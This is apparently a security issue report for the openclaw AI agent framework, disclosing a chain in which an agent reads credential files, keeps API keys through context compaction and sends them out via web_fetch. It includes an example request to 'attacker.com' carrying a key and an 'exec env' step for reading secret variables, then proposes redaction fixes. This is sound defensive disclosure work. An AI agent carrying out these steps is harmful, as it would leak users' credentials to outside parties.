openclaw - 💡(How to fix) Fix Security: credential exfiltration chain — read + compaction preservation + web_fetch [1 comments, 1 participants]

Security: End-to-end credential exfiltration chain via read → compaction → web_fetch

Static analysis of the codebase found a complete attack chain where an AI agent can read credentials, persist them through context compaction, and exfiltrate them to an external server. Three independently-audited components combine:

The Chain

Step 1 — Read secrets: The read tool allows filesystem access outside the workspace by default (tools.fs.workspaceOnly defaults to false). Agent reads ~/.openclaw/openclaw.json or ~/.openclaw/.env containing API keys.

• src/agents/pi-tools.read.ts:755-760 — path validation only checks workspace bounds when workspaceOnly is true

Step 2 — Persist through compaction: The compaction summarizer explicitly instructs the LLM to preserve API keys in summaries:

"Preserve all opaque identifiers exactly as written (no shortening or reconstruction),
including UUIDs, hashes, IDs, tokens, API keys, hostnames, IPs, ports, URLs, and file names."

• src/agents/compaction.ts:31-33 — IDENTIFIER_PRESERVATION_INSTRUCTIONS
• Default identifierPolicy is "strict", which always injects this instruction
• Once a key appears in conversation, it survives every compaction cycle

Step 3 — Exfiltrate: web_fetch allows GET/POST to any public URL. SSRF guard only blocks private/internal IPs. Agent sends https://attacker.com/?key=sk-ant-...

• src/agents/tools/web-fetch.ts:524-531

Additional Findings

Payload logging misses credentials (High): src/agents/anthropic-payload-log.ts:140 writes full API request payloads to disk using redactImageDataForDiagnostics() which strips images but not credentials. The sanitizeDiagnosticPayload() function that also strips credential fields exists in the same package but is not called here.

Env var blocklist incomplete (High): src/infra/host-env-security-policy.json blocks code-execution vars but not *_API_KEY, *_TOKEN, *_SECRET. Agent runs exec env and reads all secret env vars.

Feishu tool errors unredacted (Medium): extensions/feishu/src/tool-result.ts passes raw error.message to the agent without calling redactSensitiveText. The Lark SDK error messages may contain API tokens.

Discord gateway debug logging (Medium): extensions/discord/src/gateway-logging.ts logs gateway debug messages without redaction. Discord IDENTIFY payloads contain the bot token.

Suggested Fixes

The codebase already has strong redaction infrastructure (redactConfigSnapshot,
redactSensitiveText, sanitizeDiagnosticPayload, maskApiKey). The issue is 
incomplete coverage at specific paths. Fixes:

1. COMPACTION (P0): In src/agents/compaction.ts, change the identifier 
   preservation instruction to explicitly exclude secrets:
   "Do NOT preserve API keys, secrets, tokens, passwords, or credentials.
   Replace them with [REDACTED]."
   Also: run redactSensitiveText() on conversation history before compaction.

2. READ TOOL (P0): Default tools.fs.workspaceOnly to true. Add a hardcoded 
   blocklist for ~/.openclaw/, ~/.env, and credential file patterns regardless 
   of workspaceOnly setting.

3. ENV VARS (P1): Add *_API_KEY, *_TOKEN, *_SECRET, *_PASSWORD patterns to 
   host-env-security-policy.json blocklist.

4. PAYLOAD LOGGING (P1): In anthropic-payload-log.ts, replace 
   redactImageDataForDiagnostics() with sanitizeDiagnosticPayload() which 
   already exists and strips both images and credentials.

5. FEISHU ERRORS (P2): In extensions/feishu/src/tool-result.ts, wrap 
   error.message with redactSensitiveText() before returning to agent.

6. DISCORD LOGGING (P2): In extensions/discord/src/gateway-logging.ts, 
   apply redactSensitiveText() to debug log output.

Methodology

Analysis performed with cqs v1.9.0 (call graph extraction + semantic search) and manual source code tracing. Three independent audit passes: model catalog serialization, agent file/network access, and channel token exposure. Relates to security roadmap #11829.